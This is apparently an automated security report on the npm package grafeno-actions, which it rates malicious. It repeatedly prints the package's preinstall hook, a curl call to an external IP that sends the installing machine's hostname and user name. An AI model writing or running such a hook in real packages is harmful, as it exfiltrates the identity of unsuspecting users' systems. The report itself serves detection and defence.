This is an unconsented install-time data disclosure. - **Trigger:** npm installation, when the preinstall lifecycle hook runs. - **Impact:** The package operator receives identifying details about systems that install the package. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T22:21:38.111Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** preinstall curl with hostname and user-name command substitution - **Attack narrative:** On installation, npm invokes the package's preinstall hook. The hook executes curl and embeds the machine hostname and current account name in a request to an external IP address. The empty runtime entry point provides no legitimate runtime purpose for this automatic host-identification callback. - **Rationale:** The package performs unconsented install-time host fingerprinting and external transmission. Its empty runtime code does not justify that behavior. - **Files touched:** package.json - **Network endpoints:** http://216.126.236.46:8080/rce?pkg=grafeno-actions&h=$(hostname)&u=$(whoami) ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The automatic preinstall hook sends the installing host's hostname and current user name to an external server., The hook runs curl during npm installation without a user command., The package has no functional runtime code that would require this install-time network request. - **Evidence against:** index.js only exports an empty object., No additional source files or declared dependencies were present. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-actions&h=$(hostname)&u=$(whoami) ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-actions&h=$(hostname)&u=$(whoami) ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Manifest Script Host Fingerprint Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** package.json\#scripts.preinstall - **Public source:** [View source]() An npm script sends host identity through command substitution to a fixed external destination. Public source snippet (untrusted): ```text scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-actions&h=$(hostname)&u=$(whoami) ``` ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The automatic preinstall hook sends the installing host's hostname and current user name to an external server. Public source snippet (untrusted): ```json "scripts": { "preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-actions&h=$(hostname)&u=$(whoami)" } ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The package has no functional runtime code that would require this install-time network request. Public source snippet (untrusted): ```javascript module.exports = {}; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** grafeno-actions - **Ecosystem:** npm - **Version:** 999.0.0 - **Version published:** 2026-08-28T22:15:00.260Z - **Package first seen:** 2026-08-28T22:21:38.111Z - **Package last seen:** 2026-08-28T22:21:38.111Z - **Known versions:** 1 - **Latest version:** 999.0.0 - **Appeal under review:** No - **Description:** Security research - **Artifact files:** 2 - **Artifact unpacked size:** 270 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
